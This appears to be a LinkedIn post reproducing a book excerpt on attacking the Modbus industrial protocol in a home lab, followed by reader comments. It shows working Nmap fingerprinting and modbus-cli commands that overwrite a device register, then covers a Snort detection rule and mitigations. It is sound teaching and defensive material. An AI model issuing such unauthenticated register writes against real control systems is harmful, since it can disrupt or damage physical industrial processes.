Attacking Modbus
Pascal Ackerman
OT/ICS/IOT Pentester | Threat Hunter | Incident Responder | Hacker | Tinkerer & Published Author
In light of the recent discovery of the FrostyGoop Industrial Control System (ICS) centric malware (Dragos: New ICS malware FrostyGoop abuses Modbus | TechTarget) that leverages the Modbus protocol to directly attack Modbus services in an ICS environment, I thought it would make sense to share a snippet from my book “Industrial Cybersecurity – 2nd Edition” (Amazon.com: Industrial Cybersecurity - Second Edition: Efficiently monitor the cybersecurity posture of your ICS environment) around abusing/attacking the Modbus protocol, with the purpose of getting a better understanding of the Modbus protocol and its inherent flaws.
To hack along with the exercise, you will need to build two virtual machines (VMs). You can build these in VirtualBox, VMware workstation, or some other virtualization platform you may prefer. One VM will run a Linux flavor OS (Ubuntu) and will be hosting the Python implementation of a Modbus server service. The other is a copy of Kali Linux or some other attacker distro you might like better.
Following is a writeup around building the VM with the Modbus server service (for those of us not fortunate enough to have a Modbus capable PLC laying around); as for building a Kali Linux VM, there are plenty of tutorials floating around on the internet for that. Do make sure both VMs are on the same network segment and are able to see (ping) each other.
Building an Emulated Modbus Network Stack
In order to emulate the Modbus server service, we will first need to deploy a Linux VM (Ubuntu). Use your favorite search engine to find instructions on how to accomplish this, if you need some help. Configure the Linux VM with a static IP address of 172.25.200.21.
Once done building a Linux VM, follow these instructions to install the Modbus stack on that virtual machine:
1.??? Log into the Ubuntu machine and open a terminal (or use SSH).
2.??? Run the command sudo apt install python-pip python3-dev to install required Python packages.
3.??? Switch to elevated (sudo) terminal with sudo su as the port the Modbus server will run on is in the lower range of port numbers (below 1000), which requires root privileges to assign.
4.??? Run the command pip3 install –upgrade pip ipython to install python dependencies.
5.??? Now run the command pip3 install pymodbus to install the Modbus Python module.
6.??? Download the Modbus server configuration file (modbus-server.py) from? https://github.com/SackOfHacks/Industrial-Cybersecurity-2nd-Edition/blob/main/lab-setup/modbus-server/modbus-server.py. Then change the line with the server address to the address of your Ubuntu machine:
7.??? ?Now you can start the Modbus server with the command python3 ./modbus-server.py
8.??? The server is now ready to receive requests.
For additional documentation on the Pymodbus Python Modbus implementation, refer to the project’s GitHub repository at https://github.com/riptideio/pymodbus
Note: To follow along with the rest of this writeup you need to build a Kali VM/machine, connect it to the same virtual network as the Modbus server and set the IP address to 172.25.200.222.
Exploring and attacking the Modbus Protocol
Now that we build a Modbus server/service to play with, let’s see what exactly is listening on the port exposed by the PyModbus module by using Nmap scripts.
If we do a search among the Nmap scripts, we see there is only a single script concerning with Modbus:
pac@KVM0101011:~$ ls /usr/share/nmap/scripts/ | grep modbus
-rw-r--r-- 1 root root 5.9K Jul 13 03:03 modbus-discover.nse
That one script is exactly what we need to figure out what is running on the open TCP port 502, though. The following Nmap command can be used to unearth the application behind the open port:
pac@KVM0101011:~$ nmap -p 502 -T3 172.25.100.21 --script modbus-discover
Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-31 15:13 MDT
Nmap scan report for 172.25.100.21
Host is up (0.00096s latency).
?
PORT??? STATE SERVICE
502/tcp open? modbus
| modbus-discover:
|?? sid 0x1:
|???? Slave ID data: Pymodbus-PM-2.3.0\xFF
|_??? Device identification: Pymodbus PM 2.3.0
MAC Address: 00:20:4A:64:1D:3F (Pronet Gmbh)
?Nmap done: 1 IP address (1 host up) scanned in 0.40 seconds
Here we can see that the service is PyModbus PM 2.3.0, the Python Modbus implementation we have running on our Ubuntu VM. If we look at the PyModbus activity log, shown in the terminal that we started the PyModbus service from on the Ubuntu VM, we can glean on how Nmap discovers the details shown above:
root@ubuntu:/home/pac/workdir/python/modbus# python3 ./modbus-server.py
2020-08-31 14:13:19,327 MainThread????? DEBUG??? sync?????????? :347
Started thread to serve client at ('172.25.100.222', 60272)
2020-08-31 14:13:19,328 Thread-1??????? DEBUG??? sync?????????? :46?????? Client Connected [172.25.100.222:60272]
2020-08-31 14:13:19,329 Thread-1??????? DEBUG??? sync?????????? :199????? Handling data: 0x0 0x0 0x0 0x0 0x0 0x2 0x1 0x11
2020-08-31 14:13:19,329 Thread-1??????? DEBUG??? socket_framer? :147????? Processing: 0x0 0x0 0x0 0x0 0x0 0x2 0x1 0x11
2020-08-31 14:13:19,329 Thread-1??????? DEBUG??? factory??????? :137
Factory Request[ReportSlaveIdRequest: 17]
2020-08-31 14:13:19,330 Thread-1??????? DEBUG??? sync?????????? :229 send: [ResportSlaveIdResponse(17, b'Pymodbus-PM-2.3.0', True)]- b'00000000001501111250796d6f646275732d504d2d322e332e30ff'
2020-08-31 14:13:19,332 Thread-1??????? DEBUG??? sync?????????? :199????? Handling data:
2020-08-31 14:13:19,332 Thread-1??????? DEBUG??? socket_framer? :147????? Processing:
2020-08-31 14:13:19,332 Thread-1??????? DEBUG??? sync?????????? :54
Client Disconnected [172.25.100.222:60272]
2020-08-31 14:13:19,333 MainThread????? DEBUG??? sync?????????? :347
Started thread to serve client at ('172.25.100.222', 60274)
2020-08-31 14:13:19,334 Thread-2??????? DEBUG??? sync?????????? :46?????? Client Connected [172.25.100.222:60274]
2020-08-31 14:13:19,334 Thread-2??????? DEBUG??? sync?????????? :199????? Handling data: 0x0 0x0 0x0 0x0 0x0 0x5 0x1 0x2b 0xe 0x1 0x0
2020-08-31 14:13:19,335 Thread-2??????? DEBUG??? socket_framer? :147????? Processing: 0x0 0x0 0x0 0x0 0x0 0x5 0x1 0x2b 0xe 0x1 0x0
2020-08-31 14:13:19,335 Thread-2??????? DEBUG??? factory??????? :137 Factory Request[ReadDeviceInformationRequest: 43]
2020-08-31 14:13:19,335 Thread-2??????? DEBUG??? sync?????????? :229 send: [ReadDeviceInformationResponse(1)]- b'00000000001d012b0e0183000003000850796d6f646275730102504d0205322e332e30'
2020-08-31 14:13:19,337 Thread-2??????? DEBUG??? sync?????????? :199????? Handling data:
2020-08-31 14:13:19,337 Thread-2??????? DEBUG??? socket_framer? :147????? Processing:
2020-08-31 14:13:19,338 Thread-2??????? DEBUG??? sync?????????? :54?????? Client Disconnected [172.25.100.222:60274]
To summarize, our Kali Linux machine (172.25.100.222) connects to the Modbus service on 2 occasions. The first time we are asking for the SlaveIdRequest with a value of 17, followed by a request for DeviceInformationRequest with a value of 43. This is enough data for Nmap to give us the results we read earlier.
Although the information returned by Nmap (vendor, type, version and revision) would be enough for us to figure out if there were any known vulnerabilities for this system, I would like to point out there are some inherent vulnerabilities that are fundamental to the design of the Modbus protocol. These vulnerabilities stem from two architectural flaws in the Modbus protocol: It doesn’t supply transport encryption, and it doesn’t mandate authentication for communications. With these two fundamental design flaws, an attacker can sniff the network, learn about (critical) memory registers, and read/write to and from those registers. To illustrate the impact of these vulnerabilities, the following example shows an attacker sniffing the read of a register (Marker word) on an industrial network via Wireshark:
Notice how, in the screenshot above, 172.25.100.222 can be seen requesting a register value in packet nr. 4 and the Modbus service (172.25.100.21) sending a response in packet nr. 6 (highlighted in the screenshot). Among the packet details we see the register number (10) as well as its value (34).
With this information an attacker can now instruct the Modbus service to change this value to their liking. One possible tool to do this with it modbus-cli, explained next.
Modbus-cli
Modbus-cli is a Ruby application that you can add to Kali Linux with the following command:
pac@KVM0101011:~$ sudo gem install modbus-cli
Successfully installed modbus-cli-0.0.14
Parsing documentation for modbus-cli-0.0.14
Done installing documentation for modbus-cli after 0 seconds
1 gem installed
Once installed, the command to run the ruby tool is modbus:
pac@KVM0101011:~$ modbus
领英推荐
Usage:
??? modbus [OPTIONS] SUBCOMMAND [ARG] ...
?
Parameters:
??? SUBCOMMAND??? subcommand
??? [ARG] ...???? subcommand arguments
?
Subcommands:
??? read????????? read from the device
??? write???????? write to the device
??? dump????????? copy contents of read file to the device
?
Options:
??? -h, --help??? print help
As you can see, the tool allows us to read and write to a Modbus server. Let’s see if we can read work register 10 on 172.25.200.21:
pac@KVM0101011:~$ modbus read -help
Usage:
??? modbus read [OPTIONS] HOST ADDRESS COUNT
?
Parameters:
??? HOST???????????????????????????? IP address or hostname for the Modbus device
??? ADDRESS????????????????????????? Start address (eg %M100, %MW100, 101, 400101)
??? COUNT??????????????????????????? number of data to read
?
Options:
??? -w, --word?????????????????????? use unsigned 16 bit integers
??? -i, --int??????????????????????? use signed 16 bit integers
??? -d, --dword????????????????????? use unsigned 32 bit integers
??? -f, --float????????????????????? use signed 32 bit floating point values
??? --modicon??????????????????????? use Modicon addressing (eg. coil: 101, word: 400001)
??? --schneider????????????????????? use Schneider addressing (eg. coil: %M100, word: %MW0, float: %MF0, dword: %MD0)
??? -s, --slave ID?????????????????? use slave id ID (default: 1)
??? -p, --port PORT????????????????? use TCP port (default: 502)
??? -o, --output FILE??????????????? write results to file FILE
??? -D, --debug????????????????????? show debug messages
??? -T, --timeout TIMEOUT??????????? Specify the timeout in seconds when talking to the slave
??? -C, --connect-timeout TIMEOUT??? Specify the timeout in seconds when connecting to TCP socket
??? -h, --help?????????????????????? print help
?
pac@KVM0101011:~$ modbus read 172.25.100.21 %MW10 1
%MW10????????? 34
Just like in the packet capture, we successfully read Marker Word 10 (%MW10). Now let’s see if we can overwrite that register:
pac@KVM0101011:~$ modbus write -help
Usage:
??? modbus write [OPTIONS] HOST ADDRESS VALUES ...
?
Parameters:
??? HOST???????????????????????????? IP address or hostname for the Modbus device
??? ADDRESS????????????????????????? Start address (eg %M100, %MW100, 101, 400101)
??? VALUES ...?????????????????????? values to write, nonzero counts as true for discrete values
?
Options:
??? -w, --word?????????????????????? use unsigned 16 bit integers
??? -i, --int??????????????????????? use signed 16 bit integers
??? -d, --dword????????????????????? use unsigned 32 bit integers
??? -f, --float????????????????????? use signed 32 bit floating point values
??? --modicon??????????????????????? use Modicon addressing (eg. coil: 101, word: 400001)
??? --schneider????????????????????? use Schneider addressing (eg. coil: %M100, word: %MW0, float: %MF0, dword: %MD0)
??? -s, --slave ID?????????????????? use slave id ID (default: 1)
??? -p, --port PORT????????????????? use TCP port (default: 502)
??? -D, --debug????????????????????? show debug messages
??? -T, --timeout TIMEOUT??????????? Specify the timeout in seconds when talking to the slave
??? -C, --connect-timeout TIMEOUT??? Specify the timeout in seconds when connecting to TCP socket
??? -h, --help?????????????????????? print help
?
pac@KVM0101011:~$ modbus write 172.25.100.21 %MW10 65535
pac@KVM0101011:~$ modbus read 172.25.100.21 %MW10 1
%MW10?????? 65535
There we have it; we successfully wrote the maximum register value to the Modbus module. If this happens to be the setpoint for the speed of a centrifuge or the pressure setting of your boiler, you might be in trouble.
And things are really this easy, because Modbus commands are sent in clear text over the network and the service doesn’t require any form of authentication or authorization to read and write registers; anyone with the IP address of a Modbus server can attack it.
?
Detection
As for detection, ICS security monitoring tools use passive network traffic detection methods to look (sniff) for suspicious or malicious Modbus commands traversing the network by looking into network packets for specific sequences of bytes. You can do this with open-source tools like Snort (Snort - Network Intrusion Detection & Prevention System) yourself as well - looking, for example at Digital Bond’s Modbus Snort detection rules (Quickdraw-Snort/modbus.rules at master · digitalbond/Quickdraw-Snort · GitHub):
Looking at the highlighted Snort detection rule:
alert tcp $MODBUS_CLIENT any -> $MODBUS_SERVER 502 (flow:from_client,established; content:"|00 00|"; offset:2; depth:2; content:"|08 00 01|"; offset:7; depth:3; msg:"SCADA_IDS: Modbus TCP - Restart Communications Option"; reference:url,digitalbond.com/tools/quickdraw/modbus-tcp-rules; classtype:attempted-dos; sid:1111002; rev:2; priority:1;)
We can see that Snort will issue the alert/message “SCADA_IDS: Modbus TCP - Restart Communications Option” when it detects the bytes 00 00 at offset 2 as well as the bytes 08 00 01 at offset 7 within a network packet that travels from a Modbus client to a Modbus server.
As a homework assignment I challenge the reader to repurpose Digital Bonds Snort rules to detect the write command we fired off with modbus-cli, earlier in this exercise.
?
Conclusion
As you should have concluded from this exercise, sending Modbus commands to a Modbus server is a trivial task. Besides tools like modbus-cli there are numerous other ways to generate Modbus command packets, including C/C++ libraries, Python modules, and even PowerShell scripts (GitHub - 4B3l0/PsModbus: Modbus powershell client). Additionally, if one can intercept Modbus network packets, because Modbus is a cleartext and unauthenticated protocol, it is possible to perform replay or Man in the Middle attacks. As an example, consider the Wireshark output from earlier; the Modbus registers and the command codes are well-defined and can be updated (on the fly) with tools like Scapy (Scapy).
What can you do to protect yourself? There is a secure version of the Modbus protocol one can implement: MB-TCP-Security-v21_2018-07-24.pdf (modbus.org), or as a compensating control one should segment their OT network from any other network segments and out of reach from all but the necessary systems and equipment necessary to produce the goods or services your organization delivers.
Senior Consultant @ KPMG in Qatar | ICS/OT Security Engineer | ISA/IEC-62443 CFS- Risk Assessment Specialist
7 个月Pascal Ackerman Thanks for sharing.
Founder at Kiowa Security
7 个月Hi Pascal, I saw FrostyGoop described as "the first ICS malware that can communicate directly with operational technology systems via the Modbus protocol". (https://www.darkreading.com/ics-ot-security/novel-ics-malware-sabotaged-water-heating-services-in-ukraine). Do you agree that that is the case - or at least likely to be the case?
ICS Security Engineer / Industrial Networks Expert & Teacher / Technical Author
7 个月Do you know about available Modbus Secure implementations ( both for master and slave) ?
Ex-trainee in Offensive Cybersecurity at Cyberik Global, UK | Globally ranked in Top 3% in THM
7 个月very thorough and great article. always makes me to explore these more and more:) Thanks.